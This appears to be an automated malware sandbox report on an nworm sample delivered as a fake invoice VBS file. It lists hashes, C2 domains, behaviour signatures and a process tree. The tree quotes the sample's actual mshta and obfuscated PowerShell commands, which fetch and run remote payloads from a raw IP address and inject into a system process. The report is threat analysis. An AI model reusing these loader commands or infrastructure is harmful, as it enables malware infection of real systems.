nworm | adf6d30e5c3767c268a66aa887dff2ebe4d0295c49c9bc42d343b6dd0e707825

General

Target

GBTVHWQCB_INVOICE#07JDKAS.vbs
Size

4KB
MD5

d546eb292c17626af658e34ffa402e47
SHA1

f0a379ae37a860a6c082464f4a41cd474a5f4cbe
SHA256

adf6d30e5c3767c268a66aa887dff2ebe4d0295c49c9bc42d343b6dd0e707825
SHA512

e15402e69ca3e2391a63fec1a718524bc0841e49b0c954162696d96cd11c04d82a5daad52a5fafe1c9101922ab0cc3bd26892038d8ae4f6cd1c9220634b37048

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

msHta.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3872	2512	msHta.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3184	2512	cmd.exe

Blocklisted process makes network request 2 IoCs

Processes:

msHta.exepowershell.exe

flow pid process

14 3872 msHta.exe
18 3364 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

msHta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation msHta.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3828 set thread context of 2100 3828 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3364 powershell.exe
3364 powershell.exe
2444 powershell.exe
2444 powershell.exe
3828 powershell.exe
3828 powershell.exe

flow	pid	process
14	3872	msHta.exe
18	3364	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	msHta.exe

description	pid	process	target process
PID 3828 set thread context of 2100	3828	powershell.exe	aspnet_compiler.exe

pid	process
3364	powershell.exe
3364	powershell.exe
2444	powershell.exe
2444	powershell.exe
3828	powershell.exe
3828	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	powershell.exe
Token: SeSecurityPrivilege	2444	powershell.exe
Token: SeTakeOwnershipPrivilege	2444	powershell.exe
Token: SeLoadDriverPrivilege	2444	powershell.exe
Token: SeSystemProfilePrivilege	2444	powershell.exe
Token: SeSystemtimePrivilege	2444	powershell.exe
Token: SeProfSingleProcessPrivilege	2444	powershell.exe
Token: SeIncBasePriorityPrivilege	2444	powershell.exe
Token: SeCreatePagefilePrivilege	2444	powershell.exe
Token: SeBackupPrivilege	2444	powershell.exe
Token: SeRestorePrivilege	2444	powershell.exe
Token: SeShutdownPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeSystemEnvironmentPrivilege	2444	powershell.exe
Token: SeRemoteShutdownPrivilege	2444	powershell.exe
Token: SeUndockPrivilege	2444	powershell.exe
Token: SeManageVolumePrivilege	2444	powershell.exe
Token: 33	2444	powershell.exe
Token: 34	2444	powershell.exe
Token: 35	2444	powershell.exe
Token: 36	2444	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	powershell.exe
Token: SeSecurityPrivilege	2444	powershell.exe
Token: SeTakeOwnershipPrivilege	2444	powershell.exe
Token: SeLoadDriverPrivilege	2444	powershell.exe
Token: SeSystemProfilePrivilege	2444	powershell.exe
Token: SeSystemtimePrivilege	2444	powershell.exe
Token: SeProfSingleProcessPrivilege	2444	powershell.exe
Token: SeIncBasePriorityPrivilege	2444	powershell.exe
Token: SeCreatePagefilePrivilege	2444	powershell.exe
Token: SeBackupPrivilege	2444	powershell.exe
Token: SeRestorePrivilege	2444	powershell.exe
Token: SeShutdownPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeSystemEnvironmentPrivilege	2444	powershell.exe
Token: SeRemoteShutdownPrivilege	2444	powershell.exe
Token: SeUndockPrivilege	2444	powershell.exe
Token: SeManageVolumePrivilege	2444	powershell.exe
Token: 33	2444	powershell.exe
Token: 34	2444	powershell.exe
Token: 35	2444	powershell.exe
Token: 36	2444	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	powershell.exe
Token: SeSecurityPrivilege	2444	powershell.exe
Token: SeTakeOwnershipPrivilege	2444	powershell.exe
Token: SeLoadDriverPrivilege	2444	powershell.exe
Token: SeSystemProfilePrivilege	2444	powershell.exe
Token: SeSystemtimePrivilege	2444	powershell.exe
Token: SeProfSingleProcessPrivilege	2444	powershell.exe
Token: SeIncBasePriorityPrivilege	2444	powershell.exe
Token: SeCreatePagefilePrivilege	2444	powershell.exe
Token: SeBackupPrivilege	2444	powershell.exe
Token: SeRestorePrivilege	2444	powershell.exe
Token: SeShutdownPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeSystemEnvironmentPrivilege	2444	powershell.exe
Token: SeRemoteShutdownPrivilege	2444	powershell.exe
Token: SeUndockPrivilege	2444	powershell.exe
Token: SeManageVolumePrivilege	2444	powershell.exe
Token: 33	2444	powershell.exe
Token: 34	2444	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

msHta.exepowershell.exepowershell.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 3872 wrote to memory of 3364	3872	msHta.exe	powershell.exe
PID 3872 wrote to memory of 3364	3872	msHta.exe	powershell.exe
PID 3364 wrote to memory of 2444	3364	powershell.exe	powershell.exe
PID 3364 wrote to memory of 2444	3364	powershell.exe	powershell.exe
PID 2444 wrote to memory of 1588	2444	powershell.exe	WScript.exe
PID 2444 wrote to memory of 1588	2444	powershell.exe	WScript.exe
PID 3184 wrote to memory of 2992	3184	cmd.exe	cmd.exe
PID 3184 wrote to memory of 2992	3184	cmd.exe	cmd.exe
PID 2992 wrote to memory of 3828	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 3828	2992	cmd.exe	powershell.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe
PID 3828 wrote to memory of 2100	3828	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GBTVHWQCB_INVOICE#07JDKAS.vbs"
1⤵
PID:2912

C:\Windows\system32\msHta.exe
msHta.exe Http://3.145.46.6/K/EncKAO.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.ps1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.vbs"
4⤵
PID:1588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3184

C:\Windows\system32\cmd.exe
cMd.E"x"e /c =PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PoWerShelL"."eXe -noe -nop -nonI -WIndoWSTYLe Hidden -executionPolicy Bypass -file C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3828

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
PID:2100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.bat

MD5
1ca2d431085aeaf74a34fa288ee241ce

SHA1
c2eee8833239a4f314c788974cd918458213d2cd

SHA256
1b14dced54fee58bc9101ae0a0d99be3d8e5ec293937f25177acc12d1775d764

SHA512
74cb10e76aa479a3076b9e35841cb75aea03bdd7b7a521961be10a403441d6f22c6641f7f92d00a59fc77c12829f4fe216e7fcb1e6aa6d2e2ff26376f55515ec

Download Submit
C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.ps1

MD5
abbd84fe458a51e5e93dc62ba2a33313

SHA1
df97c89da1a0eaac1485afb1210ffc034e458e65

SHA256
197d956d33beac34ac8a9b79c460508d28e9069977a27712150695ad2fa8eb22

SHA512
6acb1ba6d93aea7e6857f95a3ca7399050b384283f1c9fbf2bdd52e49d09e1aba8a44106621a07b5f01be55e3bf90e0d405a8485bfd396902e7dacba1da37af6

Download Submit
C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\LZAVOBYIRFWZQZVCTGHPQB.vbs

MD5
8fd7979dccc0170bfb3a586d28d572c8

SHA1
85873a74e36ec1f8e5c92a28492be96b7fc1afee

SHA256
0bcec1d4172f5edf9956023c08752b93be00eee1d1dd7ee027e70bab737bfedf

SHA512
c0e093348d0c15bdeed81bcec7ef66a080834edba3ab25d6405e68727d944ec0425b755d9f21a7d550b3ff17edb78e7ea9a2843df4f6c8d9d67a6a26ca713ec2

Download Submit
C:\ProgramData\LZAVOBYIRFWZQZVCTGHPQB\WZQNBDSLVGAWPUXJRUVDYE.ps1

MD5
3fbbaee606b9fa5ed730aab0c6123ce0

SHA1
a38435566b572cd77b2b5521cf50d830518ba9cf

SHA256
2d89ba4be26780c15328677895a43b6b31791a25105892d562cacf7fc902299d

SHA512
9cb3c6aa7021c09ec5c54520066fea23195e87c5cac41b2eba7bd8a0f31edc23414ebe4bbe3524ebcc2e100c3aec179987e58e11587205d4242302fa92b33f2f

Download Submit
memory/2100-167-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2100-173-0x0000000005220000-0x0000000005286000-memory.dmp

Filesize
408KB

Download
memory/2100-172-0x00000000057D0000-0x0000000005D74000-memory.dmp

Filesize
5.6MB

Download
memory/2100-171-0x0000000005180000-0x000000000521C000-memory.dmp

Filesize
624KB

Download
memory/2100-170-0x00000000050D0000-0x00000000050D1000-memory.dmp

Filesize
4KB

Download
memory/2100-169-0x000000007464E000-0x000000007464F000-memory.dmp

Filesize
4KB

Download
memory/2444-168-0x0000016B34778000-0x0000016B3477A000-memory.dmp

Filesize
8KB

Download
memory/2444-152-0x0000016B34776000-0x0000016B34778000-memory.dmp

Filesize
8KB

Download
memory/2444-151-0x0000016B34773000-0x0000016B34775000-memory.dmp

Filesize
8KB

Download
memory/2444-150-0x0000016B34770000-0x0000016B34772000-memory.dmp

Filesize
8KB

Download
memory/2444-149-0x00007FFAFCDB3000-0x00007FFAFCDB5000-memory.dmp

Filesize
8KB

Download
memory/3364-140-0x000001A0619C3000-0x000001A0619C5000-memory.dmp

Filesize
8KB

Download
memory/3364-135-0x000001A061750000-0x000001A061772000-memory.dmp

Filesize
136KB

Download
memory/3364-138-0x00007FFAFCDB3000-0x00007FFAFCDB5000-memory.dmp

Filesize
8KB

Download
memory/3364-139-0x000001A0619C0000-0x000001A0619C2000-memory.dmp

Filesize
8KB

Download
memory/3364-141-0x000001A0619C6000-0x000001A0619C8000-memory.dmp

Filesize
8KB

Download
memory/3828-165-0x000002C6D68B6000-0x000002C6D68B8000-memory.dmp

Filesize
8KB

Download
memory/3828-166-0x000002C6D6D50000-0x000002C6D6D6A000-memory.dmp

Filesize
104KB

Download
memory/3828-164-0x000002C6D68B3000-0x000002C6D68B5000-memory.dmp

Filesize
8KB

Download
memory/3828-163-0x000002C6D68B0000-0x000002C6D68B2000-memory.dmp

Filesize
8KB

Download
memory/3828-162-0x00007FFAFCDB3000-0x00007FFAFCDB5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads